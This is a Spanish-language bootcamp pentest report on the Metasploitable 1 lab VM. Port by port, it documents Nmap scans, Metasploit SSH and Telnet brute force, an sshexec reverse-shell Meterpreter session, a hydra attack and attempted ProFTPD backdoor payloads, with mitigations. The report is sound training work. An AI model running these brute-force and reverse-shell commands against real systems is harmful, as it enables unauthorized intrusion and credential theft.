Pentesting

Caso práctico

Gerard Díaz Hoyos

KeepCoding
Bootcamp de Ciberseguridad
5a edición

Parte 1

Identificar y explotar el mayor número de vulnerabilidades en la máquina **Metasploitable** que puede descargarse del siguiente enlace:
https://drive.google.com/file/d/1Z_m9RgCUN4McvcFpmlZjfYtdUTLZSoif/view?usp=sharing

El entregable será un informe con una lista de vulnerabilidades. Para cada una de ellas hay que rellenarlas con los siguientes campos:

- **Descripción:** En que consiste el fallo de seguridad.
- **Impacto:** Cual es el peligro/impacto de explotar esta vulnerabilidad.
- **Explotación:** Explicación paso a paso seguido en la identificación y explotación y de la vulnerabilidad. El receptor del informe (en el mundo real el cliente que te ha contratado) tiene que ser capaz de reproducir tus pasos.
- **Mitigación:** Breve explicación de como solucionar el fallo (1 o 2 lineas podrían ser suficientes en muchos casos).

Metasploitable 1 es una máquina virtual desarrollada por Rapid7 que contiene varios paquetes de software vulnerables.
La IP que le corresponde (desde la virtualización correspondiente lanzada con VMware y conexión NAT) es **192.168.57.132.**

Lo primero que necesitaremos para ir explotando las distintas vulnerabilidades que encontremos, será escanear la máquina Metasploitable para conocer los distintos software que contiene y las versiones del mismo.
Para ello utilizaremos *Nmap*, desde la consola de Kali Linux y obtendremos el siguiente *output* (los puertos abiertos, el servicio que ejecutan – software -, y la versión de los mismos):

```
┌──(root㉿kali)-[~]
└─# nmap -p- -sV 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 11:32 EDT
Nmap scan report for 192.168.57.132
Host is up (0.0098s latency).
Not shown: 65522 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.25 seconds
```

Desde aquí empezaremos a desgranar los distintos servicios o *softwares* en busca de vulnerabilidades. Aprovechando que casi todos los puertos abiertos de Metasploitable 1 se sirven de un software distinto (excepto los 139-445 y, más o menos, los 8009-8180), se irá realizando un análisis puerto a puerto, describiendo lo que se vaya descubriendo en cada uno de ellos.

Puerto 21 – ftp : ProFTPD 1.3.1

```
┌──(root㉿kali)-[~]
└─# nmap -p 21 -sV -A -sC 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 16:48 EDT
Nmap scan report for 192.168.57.132
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.1
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.32 ms 192.168.57.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.84 seconds
```

Descripción:

FTP (Protocolo de Transferencia de Archivos o *File Transfer Protocol*) es un protocolo de red para la transferencia de archivos entre sistemas conectados a una red TCP, basado en la arquitectura cliente-servidor. Desde un equipo cliente se puede conectar a un servidor para descargar archivos desde él o para enviarle archivos, independientemente del sistema operativo utilizado en cada equipo.
ProFTPD es un servidor FTP determinado.

En relación a vulnerabilidades, he encontrado muy poca documentación al respecto de la versión 1.3.1.
He realizado numerosos intentos de explotar algún módulo de Metasploit o de buscar *exploits* con herramientas como ***searchsploit*** o similares, pero no he conseguido llegar a ningún resultado.
Por lo tanto, pese a que hay reportadas algunas vulnerabilidades al respecto (posibilidad de ejecutar comandos FTP arbitrarios o copiar archivos arbitrarios), es posible que actualmente no haya ningún *exploit* "automatizado" que pueda llegar a utilizar con mi nivel de conocimientos.

```
┌──(root㉿kali)-[~]
└─# searchsploit ftp 1.3.1
---------------------------------------------------------------------------
 Exploit Title
---------------------------------------------------------------------------
Ayukov NFTP FTP Client < 2.0 - Remote Buffer Overflow
iOS FileApp < 2.0 - FTP Remote Denial of Service
Ipswitch WS_FTP Professional < 12.6.0.3 - Local Buffer Overflow (SEH)
Nokia Affix < 3.2.0 - btftp Remote Client
NotFTP 1.3.1 - 'newlang' Local File Inclusion
Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass
OpenSSH < 6.6 SFTP (x64) - Command Execution
OpenSSH < 6.6 SFTP - Command Execution
PyroBatchFTP < 3.19 - Buffer Overflow
RhinoSoft Serv-U FTP Server < 5.2 - Remote Denial of Service
RhinoSoft Serv-U FTPd Server < 4.2 - Remote Buffer Overflow (Metasploit)
Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injection
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)
Sysax Multi Server < 5.25 (SFTP Module) - Multiple Denial of Service Vulnerabilities
VicFTPS < 5.0 - 'CWD' Remote Buffer Overflow (PoC)
---------------------------------------------------------------------------

Shellcodes: No Results
```

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.57.130
LHOST => 192.168.57.130
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

[*] Started reverse SSL handler on 192.168.57.130:4444
[-] 192.167.57.132:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.167.57.132:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse
set payload cmd/unix/reverse                    set payload cmd/unix/reverse_perl    set payload cmd/unix/reverse_ssl_
set payload cmd/unix/reverse_bash_telnet_ssl    set payload cmd/unix/reverse_perl_ssl
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

[*] Started reverse TCP handler on 192.168.57.130:4444
[-] 192.167.57.132:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.167.57.132:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl_ssl
payload => cmd/unix/reverse_perl_ssl
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

[*] Started reverse SSL handler on 192.168.57.130:4444
[-] 192.167.57.132:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.167.57.132:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_133c_backdoor) >
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exit
```

Algunos de los intentos realizados para encontrar alguna forma de explotar una vulnerabilidad.

puerto 22 – ssh: OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Descripción:
OpenSSH es una herramienta de conectividad remota que usa el protocolo SSH. El protocolo SSH permite cifrar todo el tráfico para evitar el espionaje, el secuestro de conexiones y otros ataques. OpenSSH también ofrece varias capacidades de tunelización segura, métodos de autenticación y opciones de configuración. La versión 4.7p1 fue lanzada en 2007 y contiene algunas vulnerabilidades conocidas:

- Un ataque de fuerza bruta que permite a un atacante remoto adivinar las credenciales de acceso SSH usando, por ejemplo, Metasploit.
- Un error de doble liberación de memoria que permite a un atacante remoto causar una corrupción de memoria en el agente SSH.
- Una exposición de información sensible que permite a un atacante remoto obtener el nombre de usuario y la contraseña desde el puerto 80.

Impacto:
Las consecuencias de recibir ataques de estos tipos serían pérdida de la confidencialidad de nuestros datos, posible corrupción de ficheros, escalado no autorizado de privilegios, etc.

Explotación:
En este caso, se ha conseguido explotar la primera vulnerabilidad listada. Se han seguido los siguientes pasos para conseguir credenciales de acceso a la máquina de Metasploitable 1:

Abrimos el *framework* Metasploit con el comando **msfconsole**.
Buscamos y filtramos los *exploits* de Metasploit mediante:
msf6 > search ssh
o más concretamente: **search ssh_login**

```
Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                            normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                     normal  No     SSH Public Key Login Scanner
```

Por el momento nos centraremos y usaremos el primer módulo:
msf6 > use auxiliary/scanner/ssh/ssh_login

Estableceremos las opciones tal como las necesitamos, de tal forma que nos quede de este modo:

```
Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting                                                Required  Description
   ----              ---------------                                                --------  -----------
   BLANK_PASSWORDS   false                                                          no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                              yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                          no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                          no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                          no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                                           no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                                                                         no        A specific password to authenticate with
   PASS_FILE                                                                        no        File containing passwords, one per line
   RHOSTS            192.168.57.132                                                 yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT             22                                                             yes       The target port
   STOP_ON_SUCCESS   false                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                              yes       The number of concurrent threads (max one per host)
   USERNAME                                                                         no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                          no        Try the username as the password for all users
   USER_FILE                                                                        no        File containing usernames, one per line
   VERBOSE           true                                                           yes       Whether to print output for all attempts
```

usando los comandos siguientes:
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.57.132 (la IP donde se aloja nuestra máquina virtual Metasploitable1).
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true (para que nos vaya mostrando los resultados por pantalla mediante vaya haciendo la comprobación de usuario y contraseña).
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt (utilizamos un diccionario de usuarios y contraseñas que viene por defecto dentro de los archivos de Metasploit, en la ruta que se indica en el mismo comando).
Lanzamos el payload con el comando **run** y obtenemos 3 resultados:

```
[+] 192.168.57.132:22 - Success: 'user:user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SM
[*] SSH session 2 opened (192.168.57.130:37183 → 192.168.57.132:22) at 2023-03-09 17:21:30 -0500
```

user:user

```
[+] 192.168.57.132:22 - Success: 'postgres:postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SM
ux '
[*] SSH session 3 opened (192.168.57.130:40417 → 192.168.57.132:22) at 2023-03-09 17:23:50 -0500
```

postgres:postgres

```
[+] 192.168.57.132:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(di
),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
```

msfadmin:msfadmin

Hemos obtenido el usuario *msfadmin* y la contraseña *msfadmin* (entre otros); hay que destacar que estas credenciales ya las teníamos de antemano, puesto que Metasploitable1 es un terreno de pruebas para ejercicios de ciberseguridad que ya ofrece estas credenciales, pero de este modo, hemos podido observar que es vulnerable a un ataque de fuerza bruta.
Al localizar estas credenciales, nos hemos conseguido loguear a la máquina objetivo y podemos ver las "sesiones" en activo de Metasploit, mediante el comando **sessions**.

```
Active sessions
===============

  Id  Name  Type          Information  Connection
  --  ----  ----          -----------  ----------
  1         shell linux   SSH root @   192.168.57.130:39015 → 192.168.57.132:22 (192.168.57.132)
```

Uilizamos la sesión 1 para conectarnos a Metasploitable mediante una Shell de Linux:

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions 1
[*] Starting interaction with 1...
```

Y a partir de aquí ya podemos tomar el control: podemos movernos por las carpetas, ver la información relativa a conexiones, crear directorios, instalar determinadas utilidades, lanzar la shell de bash, etc.

```
whoaim
-bash: line 3: whoaim: command not found
pwd
/home/msfadmin
ls
vulnerable
sysinfo
-bash: line 6: sysinfo: command not found
shell

[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash


msfadmin@metasploitable:~$ sysinfo
sysinfo
The program 'sysinfo' is currently not installed.  You can install it by typing:
sudo apt-get install sysinfo
bash: sysinfo: command not found
msfadmin@metasploitable:~$ sudo apt-get install sysinfo
sudo apt-get install sysinfo
[sudo] password for msfadmin: msfadmin
```

Ahora intentaremos tomar control de la máquina usando el módulo: **exploit/multi/ssh/sshexec** (también localizado buscando a través de la Base de Datos de Metasploit mediante el comando: **search ssh**).

```
19  exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey      2014-03-17  excellent  No   Loadbalancer.org Enterprise VA SSH Private Key Exposure
20  exploit/multi/http/git_submodule_command_exec                   2017-08-10  excellent  No   Malicious Git HTTP Server For CVE-2017-1000117
21  exploit/linux/ssh/mercurial_ssh_exec                            2017-04-18  excellent  No   Mercurial Custom hg-ssh Wrapper Remote Code Exec
22  exploit/linux/ssh/microfocus_obr_shrboadmin                     2020-09-21  excellent  No   Micro Focus Operations Bridge Reporter shrboadmin defaul
23  exploit/solaris/ssh/pam_username_bof                            2020-10-20  normal     Yes  Oracle Solaris SunSSH PAM parse_user_name() Buffer Overf
24  exploit/windows/ssh/putty_msg_debug                             2002-12-16  normal     No   PuTTY Buffer Overflow
25  auxiliary/gather/qnap_lfi                                       2019-11-25  normal     Yes  QNAP QTS and Photo Station Local File Inclusion
26  exploit/linux/ssh/quantum_dxi_known_privkey                     2014-03-17  excellent  No   Quantum DXi V1000 SSH Private Key Exposure
27  exploit/linux/ssh/quantum_vmpro_backdoor                        2014-03-17  excellent  No   Quantum vmPRO Backdoor Command
28  exploit/multi/ssh/sshexec                                       1999-01-01  manual     No   SSH User Code Execution
29  exploit/unix/http/schneider_electric_net55xx_encoder            2019-01-25  excellent  Yes  Schneider Electric Pelco Endura NET55XX Encoder
30  exploit/windows/ssh/securecrt_ssh1                              2002-07-23  average    No   SecureCRT SSH1 Buffer Overflow
31  exploit/linux/ssh/solarwinds_lem_exec                           2017-03-17  excellent  No   SolarWinds LEM Default SSH Password Remote Code Executio
32  exploit/linux/http/sourcegraph_gitserver_sshcmd                 2022-02-18  excellent  Yes  Sourcegraph gitserver sshCommand RCE
33  exploit/linux/ssh/symantec_smg_ssh                              2012-08-27  excellent  No   Symantec Messaging Gateway 9.5 Default SSH Password Vuln
34  exploit/linux/http/symantec_messaging_gateway_exec              2017-04-26  excellent  No   Symantec Messaging Gateway Remote Code Execution
35  exploit/windows/ssh/sysax_ssh_username                          2012-02-27  normal     Yes  Sysax 5.53 SSH Username Buffer Overflow
36  exploit/unix/ssh/tectia_passwd_changereq                        2012-12-01  excellent  Yes  Tectia SSH USERAUTH Change Request Password Reset Vulner
```

Usaremos el módulo necesario para ello:
use exploit/multi/ssh/sshexec

Estableceremos la opciones del siguiente modo:

```
Module options (exploit/multi/ssh/sshexec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PASSWORD msfadmin         yes       The password to authenticate with.
   RHOSTS   192.162.57.132   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    22               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   USERNAME msfadmin         yes       The user to authenticate as.
```

msf6 exploit(multi/ssh/sshexec) > set RHOSTS 192.168.57.132
msf6 exploit(multi/ssh/sshexec) > set PASSWORD msfadmin
msf6 exploit(multi/ssh/sshexec) > set USERNAME msfadmin
y lanzamos:
msf6 exploit(multi/ssh/sshexec) > run

```
[*] Started reverse TCP handler on 192.168.57.130:4444
[*] 192.168.57.132:22 - Sending stager ...
[*] Command Stager progress -  42.75% done (342/800 bytes)
[*] Sending stage (1017704 bytes) to 192.168.57.132
[*] Meterpreter session 1 opened (192.168.57.130:4444 → 192.168.57.132:50474) at 2023-03-09 20:20:04 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)

meterpreter >
```

Y ahora ya podemos interactuar con la máquina comprometida mediante el meterpreter:

```
meterpreter > ls
Listing: /home/msfadmin
========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  806   fil   2010-05-17 21:45:07 -0400  .bash_history
040755/rwxr-xr-x  4096  dir   2010-04-17 14:11:00 -0400  .distcc
100600/rw-------  98    fil   2010-04-28 02:32:43 -0400  .lesshst
100644/rw-r--r--  586   fil   2010-03-16 19:12:59 -0400  .profile
040700/rwx------  4096  dir   2010-05-17 21:43:18 -0400  .ssh
100644/rw-r--r--  0     fil   2010-05-07 14:38:35 -0400  .sudo_as_admin_successful
040755/rwxr-xr-x  4096  dir   2010-04-27 23:44:17 -0400  vulnerable

meterpreter > pwd
/home/msfadmin
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > cd ..
meterpreter > pwd
/home
meterpreter > id
[-] Unknown command: id
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
```

Podemos usar comandos tales **ls**, **pwd**, **cd ..**, **ifconfig**, **sysinfo**, etc.
Objetivo conseguido.

Mitigación:
Para protegerse de estas vulnerabilidades, se puede hacer lo siguiente:

- Actualizar OpenSSH a una versión más reciente y segura que corrija los errores listados.
- Aplicar los parches o erratas que provea el distribuidor de Linux o proveedor de OpenSSH21 correspondientes.
- Configurar el *firewall* o el servicio SSH para restringir el acceso a los puertos y direcciones IP confiables.
- Usar contraseñas fuertes y autenticación de llave pública para evitar ataques de fuerza bruta.
- Deshabilitar nombres de usuario y contraseñas por defecto y deshabilitar SSH.
- Prevenir intentos de *logueo* múltiples.

Puerto 23 - telnet: Linux telnetd

```
┌──(root㉿kali)-[~]
└─# nmap -sV -p 23 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 21:16 EST
Nmap scan report for 192.168.57.132
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Descripción:
Telnet fue uno de los primeros servicios de lo que ahora se conoce como Internet, permitiendo hacer *login* interactivo en una máquina remota, lanzar comandos y ver sus resultados. Con este objetivo se crea una conexión cliente-servidor a través del protocolo TCP y del puerto TCP 23, donde el dispositivo controlado ejerce de servidor y espera los comandos pertinentes. Es uno de los protocolos más inseguros en la actualidad, susceptible al *sniffing*, *hijacking*, etc.
Los problemas con telnet incluyen:

- Autentificación en texto claro, nombre de usuario y contraseña.
- Texto en claro de todos los comandos.
- Ataques de adivinación de contraseñas (como mínimo acabarán en los ficheros de *log*).

Impacto:
Los *exploits* pertinentes podrían llegar a tener un fuerte impacto negativo en la seguridad y la privacidad del sistema, tales como el acceso remoto al sistema por el uso de credenciales débiles mediante ataques de fuerza bruta, exposición de información sensible o confidencial por transmitirse en texto plano, la facilidad en la propagación de virus o *malware* que usan el servicio de Telnet para infectar sistemas, etc.

Explotación:
De forma muy parecida al anterior apartado, podremos acceder a la máquina Metasploitable mediante un ataque de fuerza bruta que, una vez localizados el nombre de usuario y contraseña, nos permitirá conectar de forma remota con la máquina y tener acceso a una consola con la que poder ejecutar comandos varios. Para empezar a realizar la explotación, volvemos a usar Metasploit. Buscaremos mediante **search telnet** los módulos que nos interesen para conseguir el objetivo de explotación.

```
25  exploit/unix/misc/polycom_hdx_auth_bypass                          2013-01-18   normal     Yes   Polycom Command Shell Authorization Bypass
26  exploit/unix/misc/polycom_hdx_traceroute_exec                       2017-11-12   excellent  Yes   Polycom Shell HDX Series Traceroute Command Execution
27  exploit/freebsd/ftp/proftp_telnet_iac                               2010-11-01   great      Yes   ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
28  exploit/linux/ftp/proftp_telnet_iac                                 2010-11-01   great      Yes   ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
29  auxiliary/scanner/telnet/telnet_ruggedcom                                        normal     No    RuggedCom Telnet Password Generator
30  auxiliary/scanner/telnet/satel_cmd_exec                             2017-04-07   normal     No    Satel Iberia SenNet Data Logger and Electricity Meters Command
31  exploit/solaris/telnet/ttyprompt                                    2002-01-18   excellent  No    Solaris in.telnetd TTYPROMPT Buffer Overflow
32  exploit/solaris/telnet/fuser                                        2007-02-12   excellent  No    Sun Solaris Telnet Remote Authentication Bypass Vulnerability
33  exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection   2015-12-20   excellent  No    TP-Link SC2020n Authenticated Telnet Injection
34  auxiliary/scanner/telnet/telnet_login                                            normal     No    Telnet Login Check Scanner
35  auxiliary/scanner/telnet/telnet_version                                          normal     No    Telnet Service Banner Detection
36  auxiliary/scanner/telnet/telnet_encrypt_overflow                                 normal     No    Telnet Service Encryption Key ID Overflow Detection
37  payload/cmd/unix/bind_busybox_telnetd                                            normal     No    Unix Command Shell, Bind TCP (via BusyBox telnetd)
38  payload/cmd/unix/reverse                                                         normal     No    Unix Command Shell, Double Reverse TCP (telnet)
39  payload/cmd/unix/reverse_ssl_double_telnet                                       normal     No    Unix Command Shell, Double Reverse TCP SSL (telnet)
```

Así pues, nos centraremos en el módulo **auxiliary/scanner/telnet/telnet_login.**

Estableceremos las opciones necesarias: en este caso bastará con indicar la IP de la máquina a la que queremos atacar (RHOSTS) y usar un diccionario para realizar los ataques de adivinación de credenciales.

msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.57.132
msf6 auxiliary(scanner/telnet/telnet_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true

Al encontrar con éxito una combinación de usuario y contraseña, podremos iniciar la sesión pertinente para abrir una *shell* y tomar el control de la máquina objetivo y ejecutar varios comandos (a continuación muestro algunos de los más comunes que se me permitían ejecutar mediante la explotación de esta vulnerabilidad):

```
msf6 auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions
===============

  Id  Name  Type   Information                                  Connection
  --  ----  ----   -----------                                  ----------
  1         shell  TELNET msfadmin:msfadmin (192.168.57.132:23)  192.168.57.130:46481 → 192.168.57.132:23 (192.168.57.132)
  2         shell  TELNET msfadmin:msfadmin (192.168.57.132:23)  192.168.57.130:37549 → 192.168.57.132:23 (192.168.57.132)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions 1
[*] Starting interaction with 1...
```

```
msfadmin@metasploitable:/home$ ls
ls
ftp  msfadmin  service  user
msfadmin@metasploitable:/home$ cd user
cd user
msfadmin@metasploitable:/home/user$ ls
ls
msfadmin@metasploitable:/home/user$ mkdir Hackeado
mkdir Hackeado
mkdir: cannot create directory `Hackeado': Permission denied
msfadmin@metasploitable:/home/user$ ls
ls
msfadmin@metasploitable:/home/user$ pwd
pwd
/home/user
msfadmin@metasploitable:/home/user$ cd ..
cd ..
msfadmin@metasploitable:/home$ cd ..
cd ..
msfadmin@metasploitable:/$ pwd
pwd
/
msfadmin@metasploitable:/$ ls
ls
bin   cdrom  etc   initrd      lib         media  opt   root  srv  tmp  var
boot  dev    home  initrd.img  lost+found  mnt    proc  sbin  sys  usr  vmlinuz
msfadmin@metasploitable:/$ cd root
cd root
msfadmin@metasploitable:/root$ ls
ls
reset_logs.sh
msfadmin@metasploitable:/root$ cd ..
cd ..
msfadmin@metasploitable:/$ cd usr
cd usr
msfadmin@metasploitable:/usr$ ls
ls
bin  games  include  lib  lib64  local  sbin  share  src  X11R6
msfadmin@metasploitable:/usr$ mkdir hackeado
mkdir hackeado
mkdir: cannot create directory `hackeado': Permission denied
msfadmin@metasploitable:/usr$ id
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),2
msfadmin@metasploitable:/usr$
```

También podríamos utilizar la herramienta **hydra** para localizar la contraseña mediante la fuerza bruta:

hydra -t 4 -l msfadmin -P /usr/share/wordlists/rockyou.txt -vV 192.168.57.132 telnet

```
┌──(root㉿kali)-[~]
└─# hydra -t 4 -l msfadmin -P /usr/share/wordlists/rockyou.txt -vV 192.168.57.132 telnet
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for ill

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-10 16:12:17
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking telnet://192.168.57.132:23/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.57.132 - login "msfadmin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.57.132 - login "msfadmin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.57.132 - login "msfadmin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.57.132 - login "msfadmin" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.57.132 - login "msfadmin" - pass "iloveyou" - 5 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.57.132 - login "msfadmin" - pass "princess" - 6 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.57.132 - login "msfadmin" - pass "1234567" - 7 of 14344399 [child 3] (0/0)
```

Cuando llegara a encontrar la contraseña, iniciaría comunicación con el puerto 23 de Metasploitable 1 mediante telnet.

```
[STATUS] attack finished for 192.168.57.132 (waiting for children to complete tests)
[STATUS] 55.75 tries/min, 223 tries in 00:04h, 1 to do in 00:01h, 2 active
[STATUS] 44.60 tries/min, 223 tries in 00:05h, 1 to do in 00:01h, 2 active
[STATUS] 37.17 tries/min, 223 tries in 00:06h, 1 to do in 00:01h, 2 active
[STATUS] 31.86 tries/min, 223 tries in 00:07h, 1 to do in 00:01h, 2 active
[STATUS] 27.88 tries/min, 223 tries in 00:08h, 1 to do in 00:01h, 2 active
[STATUS] 24.78 tries/min, 223 tries in 00:09h, 1 to do in 00:01h, 2 active
[STATUS] 22.30 tries/min, 223 tries in 00:10h, 1 to do in 00:01h, 2 active
[STATUS] 20.27 tries/min, 223 tries in 00:11h, 1 to do in 00:01h, 2 active
[STATUS] 18.58 tries/min, 223 tries in 00:12h, 1 to do in 00:01h, 2 active
```

Ahora podemos abrir otra pestaña de la consola y ejecutar el comando **telnet 192.167.57.132** (poniendo a continuación usuario y contraseña) para conectarnos directamente con la máquina objetivo y ejecutar comandos en shell.

```
┌──(root㉿kali)-[~]
└─# telnet 192.168.57.132
Trying 192.168.57.132 ...
Connected to 192.168.57.132.
Escape character is '^]'.
Ubuntu 8.04
metasploitable login: msfadmin
Password:
Last login: Tue Mar  7 09:48:53 EST 2023 from 192.168.57.130 on pts/2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
146 failures since last login.
Last was Tue 07 Mar 2023 11:44:34 AM EST on pts/0.
